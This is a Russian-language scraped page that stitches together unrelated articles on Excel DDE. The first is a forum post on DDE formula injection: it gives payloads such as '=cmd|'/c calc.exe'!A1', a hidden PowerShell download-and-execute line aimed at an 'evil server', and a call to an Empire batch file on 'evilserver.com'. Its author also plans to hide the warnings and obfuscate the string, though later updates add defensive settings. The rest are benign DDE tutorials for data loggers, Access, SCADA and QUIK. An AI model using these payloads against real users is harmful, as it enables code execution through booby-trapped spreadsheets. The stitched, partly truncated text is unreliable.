Elettracompany.com

Компьютерный справочник
2 просмотров
Рейтинг статьи
1 звезда2 звезды3 звезды4 звезды5 звезд
Загрузка...

Dde сервер в excel 2020

Статья DDE в MS Excel (обновляем)

Dmitry88

По аналогии с Word мы используем DDE функцию для вызова cmd. В MS Excel это довольно просто:
Вставляем в любую ячейку вызов функции cmd и задаем ей параметр. А1 — номер ячейки.

=cmd|’/c calc.exe’!A1

Параметр /c может быть изменен на /k *
Примечание: CMD /C запускает команду и выполняет ее, а CMD /K выполняет команду и возвращает нас в командную строку, позволяя выполнять следующие команды, так же полезно для тестирования переменных.

Первая часть пейлоада =cmd|’ дает инструкцию MS Excel вызвать CMD, а вторая передает команду CMD.
В нашем примере при запуске MS Excel юзер получит уведомление о том что ссылки нужно обновить.(что в целом безобидно)

Во втором сообщение мы видим предупреждение о запуске cmd — что есть палево.

Калькулятор запустился

Посколько у CMD есть ограничение на длинну аргумента в 1024 байта, 1024 это максимальная строка для функции CreateProcess(), то мы можем обойти это с помощью инструкций Powershell, например на удаленную загрузку нашего скрипта и исполнение его прямо из DDE.

Для этого сначала подготовим нагрузку в виде скрипта ps1 и положим на наш злой сервер.
Далее в указываем занчение ячейки:
=-2+3+cmd|’/c powershell.exe -w hidden $e=(New-Object System.Net.WebClient).DownloadString(«

, и обрабатывает скрипт! Обратите внимание , эта функция работает только на Powershell версии 3 и выше.
Результат:

Так же мы можем запустить batch файл, например пейлоад сгенерированный powershell empire

=cmd|’/c \evilserver.comempire.bat;IEX $e’!A1

PS: Статья не закончена. В планах что-то придумать для скрытия предупреждения о запуске cmd.
Ну и было бы неплохо, если бы кто-то помог с шифрованием строки в base64. Я что-то с синтаксисом напутал, упорно не хочет считывать.
PPS: Всегда рад конструктивным замечаниям.
[doublepost=1508916320,1508489034][/doublepost]UPDATE:
Патч частично защищает от уязвимости.

Но лично у меня все работало и после установки апдейта. Для защиты лучше настроить все руками, дабы нерадивые пользователи не тыкали «ок» -> «ок» -> «далее» бездумно, ну и провести работу воспитательную.
Для админов рекомендую следующее:
Для MS Word
Параметры Word — Дополнительно — (раздел Общие) — Автоматически обновлять связи при открытии (снять галочку)

После этого DDE не будет обработан.

Для Excel хуже.
Первый способ мягкий:

Параметры Excel — Дополнительно — (раздел Общие)
— Запрашивать об обновлении автоматических связей (поставить галочку)
— Игнорировать DDE запросы от других приложений (поставить галочку)

Результат- будет хотя бы уведомление

Метод решения радикальный, т.к. напрочь отключает DDE и возможно не всем подойдет:
Параметры Excel — Центр управления безопасностью — кнопка «Параметры центра безопасности» — Внешнее содержимое —
— Отключить все подключения к данным
— Отключить автоматическое обновление связей в книге

Результат — все дде блочатся напрочь

ПС:
Еще это можно сделать через реестр

Тут те же настройки кроме последнего решения для Excel
[doublepost=1509618109][/doublepost]UPDATE2:
Немного по скрытию запуска строки:

Получение данных в Excel через интерфейс DDE с помощью модуля «DDE Server»

Верси для печати

Сценарий проблемы:

Лабораторный инструмент имеет RS232 порт, через который выводятся данные каждые 10 минут. Я хотел бы использовать значения из выводимых данных в формах, формулах и моих скриптах VBA в документах Microsoft Excel.

Требования:

  • Advanced Serial Data Logger (ASDL) Professional или пробная версия;
  • Модуль «ASCII data parser and query» для логгера;
  • Модуль «DDE server» для Advanced Serial Data Logger.

Подразумевается что:

Вы настроили параметры связи с устройством (скорость, количество бит данных, контроль передачи и т.п.) в логгере и можете принимать данные без каких либо ошибок.

Вы можете работать в Microsoft Excel, в частности создавать и использовать формы.

Решение:

Замечание: Этот пример базируется на предыдущем примере с именем «Данные из последовательного порта и Excel. Рисование графиков в реальном времени». Этот пример будет использовать настройки парсера и пример данных их этого примера. Поэтому вы можете прочитать этот обучающий пример перед продолжением чтения этого примера.

Парсер готов и мы протестировали его в предыдущем примере. Если парсер верно настроен, то в окне DDE сервера будут отображены наши переменные и их значения (рис.1).

Читать еще:  Не отображаются листы в excel

Рис.1. Данные из COM порта, Excel и DDE. Окно DDE сервера.

Все переменные теперь готовы для использования в Microsoft Excel. Имя переменной отображается в колонке «Имя». Вы должны знать имя DDE сервера и имя топика для того, чтобы получать данные через DDE. Эта информация представлена на следующем рисунке (рис.2 поз.1). Пожалуйста, обратите внимание, что имя сервера может отличаться на вашем компьютере.

Рис.2. Данные из COM порта, Excel и DDE. Параметры сервера DDE.

Кликните на кнопке «OK» и закройте окно настройки модуля сервера DDE, а затем кликните кнопку «OK» в окне настройки конфигурации.

Поскольку мы хотим рисовать графики в реальном времени, то мы должны подготовить файл Excel перед следующим шагом. В этом примере мы создали диаграмму с тремя графиками. Каждый график базируется на данных их колонок A, B или C. Мы будет помещать значения переменных FLOW1, VOLW1 и TEMP1 в соответствующую колонку, а Excel будет автоматически обновлять нашу диаграмму. Мы будем использовать только последние 30 значений на нашей диаграмме. В этом примере мы поместили 3 ссылки на DDE переменные в ячейки D21-F21 вида: «=testcore|ddesrv!srviFLOW1» (без кавычек) (рис.3 и 4). Как вы можете видеть, имя сервера, имя топика и имя переменной указаны в этой ссылке на данные DDE.

Рис.3. Данные из COM порта, Excel и DDE. Ссылки на данные DDE.

После того, как вы создали ссылки на данные DDE в вашем документе, Microsoft Excel автоматически запустит логгер и получит данные. Если логгер уже запущен, то Microsoft Excel попробует считать данные из запущенной программы. Если логгер еще не получил и не обработал никаких данных, то Microsoft Excel отобразит информацию о неверной ссылке, но считает значения, как только данные будут получены и обработаны логгером.

Теперь мы готовы для создания кода VBA, который будет обрабатывать наши DDE данные. Этот код будет копировать значения DDE в колонки, передвигать старые значения и добавлять строки в историю значений (рис.4, 5).

Рис.4. Данные из COM порта, Excel и DDE. Исходный документ Excel.

Рисунок выше содержит следующие элементы:

  1. Данные DDE будут помещаться здесь, и будут служить источником данных для графиков;
  2. График;
  3. История данных.

Код VBA из файла Excel

Файл Excel, который мы создали, вы можете скачать здесь и использовать в вашей работе.

Хорошо. Процедура настройки завершена и пришло время попробовать получить данные в Excel.

Подсоедините ваше устройство или включите его, если это необходимо. Попробуйте принять пакет данных от устройства. Если парсер верно настроен, то в Excel будут отображены наши DDE переменные и их значения (рис.5).

Рис.5 Данные из COM порта, Excel и DDE. Результаты.

Рисунок выше содержит следующее:

  1. Последние 30 значений DDE данных;
  2. Последние значения переменных DDE сервера;
  3. История данных DDE.

Файл Excel со всеми значениями и графиками вы можете скачать здесь.

Этот метод получения данных сложен и может быть непонятен для неподготовленного пользователя, но позволяет вам обрабатывать и отображать данные как вам хочется. Позднее, вы можете сделать следующие улучшения:

  1. Помечать некоторые значения цветом;
  2. Добавлять метку даты/времени в историю и автоматически очищать историю;
  3. Использовать формулы и вычисления.

Функция DDE

С помощью функции DDE можно начать сеанс DDE с другим приложением, запросить из него информацию и вывести ее в элементе управления в форме или отчете.

Например, функцию DDE можно использовать в свойстве Данные текстового поля для отображения данных из указанной ячейки листа Microsoft Office Excel 2007.

Функция DDE имеет следующие аргументы:

Строковое выражение, которое определяет приложение, участвующее в сеансе DDE. Как правило, приложение — это имя EXE-файла (без расширения EXE) приложения Microsoft Windows, такого как Excel. Например, чтобы запустить сеанс DDE с приложением Excel, нужно задать для аргумента приложение значение «Excel».

Строковое выражение, которое представляет имя документа, распознаваемое приложением. Аргумент документ часто является документом или файлом данных. Список допустимых значений см. в документации приложения.

Читать еще:  Значение e в excel

Строковое выражение, которое представляет имя элемента данных, распознаваемое приложением. Список допустимых разделов см. в документации приложения.

Замечания

Функция DDE пытается запустить сеанс DDE с указанным приложением и документом и запрашивает данные в разделе. Если ей это удается, функция DDE возвращает строку, содержащую запрашиваемые данные.

При запросе данных из Excel разделом может быть идентификатор строки и столбца, например » «R1C1» «, или имя диапазона ячеек. В следующем примере функция DDE запрашивает данные ячейки в строке 1 и столбце 1 листа Excel. Это выражение можно ввести в поле Данные текстового поля на странице свойств элемента управления:

=DDE(«Excel», «Sheet1», «R1C1»)

Функцию DDE можно использовать только в свойстве Данные текстового поля, группы переключателей, флажка или поля со списком. Нельзя вызывать функцию DDE из модуля Visual Basic для приложений (VBA).

При использовании функции DDESend элемент управления становится доступным только для чтения в режиме формы и предварительного просмотра. Например, если вы укажете функцию DDE в текстовом поле, в нем будет невозможно изменять текст. Текст будет необходимо редактировать в другом приложении. Так как свойство Данные доступно только для чтения в режиме формы и предварительного просмотра, изменять элемент управления нужно через Конструктор.

Максимальное количество сеансов DDE, которые можно открыть одновременно, определяется памятью и ресурсами компьютера и Microsoft Windows. Если не удается начать сеанс, так как другое приложение не запущено или не распознает указанный документ либо уже достигнуто максимальное количество сеансов, функция DDE возвращает NULL.

Примечание: Другое приложение может быть настроено таким образом, что будет игнорировать запросы на сеанс DDE. В этом случае функция DDE возвращает значение NULL. Кроме того, можно настроить Access таким образом, чтобы он игнорировал запросы от других приложений: в меню Файл выберите команду Параметры Access, в диалоговом окне Параметры приложения выберите пункт Дополнительно. В группе Операции DDE установите флажок Пропуск команд DDE.

Для управления объектами других приложений из Access можно воспользоваться автоматизацией.

В следующей таблице показано, как работает функция DDE при использовании с каждым из элементов управления.

Excel (DDE-клиент) – МРВ (DDE-сервер)

Дата добавления: 2014-10-02 ; просмотров: 2757 ; Нарушение авторских прав

Если клиентом DDE является Excel, то DDE-обмен с МРВ может быть сконфигурирован с помощью: формул Excel; макросов VBA. Формула Excel может быть использована для запроса реального значения канала в режиме ADVISE или REQUEST. Запрос значений всех других атрибутов канала проводится только в режиме REQUEST.

Формат формулы EXCEL: = | !

server – имя сервера в формате RTM , где k – индивидуальный номер узла;

topic – тема запроса (GET – для режима ADVISE, PUT – для режима REQUEST);

item – имя канала или уточненное имя атрибута в формате: . .

=RTM0|GET!Канал1 вызов реального значения канала КАНАЛ1 в режиме ADVISE;

=RTM0|PUT!Канал1.0 вызов реального значения (атрибут № 0) канала КАНАЛ1 в режиме REQUEST;

=RTM|PUT!Канал1.45 вызов значения атрибута «время последнего изменения реального значения» (атрибут № 45) для канала КАНАЛ1 в режиме REQUEST.

вызов реального значения канала КАНАЛ1 в режиме ADVISE в поле MS WINWORD.

Через макросы VBA доступны режимы REQUEST и POKE. Для обмена с помощью макросов VBA используются функции:

Channel := DDEInitiate(App, Topic) – установка диалога по заданным сервису и теме;

DDETerminate(Channel) – прекращение диалога;

Data := DDERequest(Channel, Item) – запрос данных;

DDEPoke(Channel, Item, Data) – передача данных серверу;

DDEExecute(Channel, String) – передача команды другому приложению.

МРВ (DDE-клиент) – Excel (DDE-сервер)

Если монитор выступает в роли DDE-клиента, для конфигурирования обмена используются переменные DDE, которые создаются в группе DDE слоя ИСТОЧНИКИ/ПРИЕМНИКИ навигатора проекта.

Запрос значения в режиме ADVISE.Создадим в узле канал ch1 и свяжем его с переменной DDE с параметрами:

Откроем Excel, создадим новую книгу и запустим узел – установится связь монитора с книгой Excel, активной в данный момент, в режиме ADVISE. В этом режиме DDE-сервер (Excel) будет посылать DDE-клиенту (монитору) значение (при каждом его изменении) ячейки G6 (Row=6, Column=7) листа Sheet1, и это значение будет записано во вход канала ch1.

Запрос значения в режиме REQUEST.Создадим в узле канал ch2 и свяжем его с переменной DDE:

Читать еще:  Квартиль в excel

Для запроса в режиме REQUEST тип переменной DDE должен быть INPUT. Для запроса в режиме REQUEST параметру РЕЖИМ переменной DDE можно также задать значение REQ/POKE[data/r] или REQ/POKE[data/n]. Откроем Excel, создадим новую книгу и запустим узел – установится связь монитора с книгой Excel, активной в данный момент, в режиме REQUEST. В этом режиме монитор генерирует в соответствующем потоке запросы на чтение значения ячейки G6 листа Sheet1 и записывает это значение во вход канала ch2.

Задание значения в режиме POKE. Для передачи в указанную ячейку таблицы Excel выходного значения канала (атрибут Q), привязанная к этому каналу переменная DDE должна иметь тип OUTPUT. Создадим в узле канал ch_p и свяжем его с переменной DDE, параметры которой зададим следующим образом:

Для записи значения в Excel параметру MODE переменной DDE можно также задать значение REQ/POKE[data/r] или REQ/POKE[data/n]. Откроем Excel, создадим новую книгу и запустим узел – установится связь монитора с книгой Excel, активной в данный момент, в режиме POKE. В этом режиме монитор генерирует в соответствующем потоке запрос на запись выходного значения (при каждом его изменении) канала ch_p в ячейку G6 листа Sheet1.

Экспорт данных из QUIK в EXCEL в реальном времени

Нередко бывают случаи когда необходимо передавать данные из одной программы в другую. Цели могут быть разные, но чаще всего это используется для более глубокого анализа инструмента.

Для того чтобы экспортировать данные из торговой платформы QUIK в программу EXCEL можно воспользоваться DDE сервером. Данные в торговой платформе Квик представлены в виде таблиц, поэтому и экспорт данных будет осуществляться также из таблиц.

Для начала необходимо создать таблицу, данные из которой необходимо экспортировать. Приведу пример настройки DDE сервера на Таблице Обезличенных Сделок.

Для того чтобы создать Таблицу Обезличенных Сделок, необходимо в меню выбрать пункт Создать Окно и выбрать пункт Таблица Обезличенных Сделок.

Открыть Таблицу Обезличенных Сделок Квик

Откроется новое окно в котором необходимо настроить будущую Таблицу Обезличенных Сделок. Можно выбрать инструменты которые попадут в таблицу, а также настроить необходимые столбцы в таблице.

Создать Таблицу Обезличенных Сделок Квик

Перед тем как приступить к настройке DDE сервера, необходимо создать файл EXCEL, в который будет происходить экспорт данных. Создание файла EXCEL не должно вызвать трудностей, так что описывать не буду.

Теперь, когда файл EXCEL создан, необходимо настроить DDE сервер. В любом месте созданной Таблицы Обезличенных Сделок кликнуть правой кнопкой мыши и в меню выбрать пункт Вывод Через DDE Сервер, либо нажать сочетание клавиш CTRL+L.

Открыть Настройки DDE сервера Квик

Откроется окно по настройке экспорта данных через DDE сервер.

Настройка DDE сервера Квик

Поле DDE сервер оставить без изменения — excel.

Рабочая книга — выбрать файл excel в который будет осуществляться экспорт данных.

Поле Лист — название листа в файле excel на который попадут экспортированные данные. Если указанного листа в файле не существует, то он будет создан.

Также установите галочку напротив пункта Запускать Приложение DDE сервера автоматически.

Остальные параметры не являются обязательными и настраиваются по собственному усмотрению.

Для того чтобы данные стали поступать в программе excel необходимо нажать кнопку Начать Вывод, после этого окно можно закрыть.

Таким же образом можно экспортировать данные из других таблиц Квик в этот же файл excel, но уже на другие листы.

После того как данные в excel экспортированы, их можно обрабатывать для получения нужных параметров, для этого можно воспользоваться формулами встроенными в программу excel, а также в программе excel имеется язык программирования visual basic, на котором можно написать алгоритм по обработке полученных данных. Это уже никаким образом не касается языка программирования lua, а значит выходит за рамки данного сайта.

На этом настройка экспорта данных из программы quik в excel завершена, теперь вы в реальном времени можете получать и обрабатывать данные необходимым вам образом в программе excel.

Ссылка на основную публикацию
Adblock
detector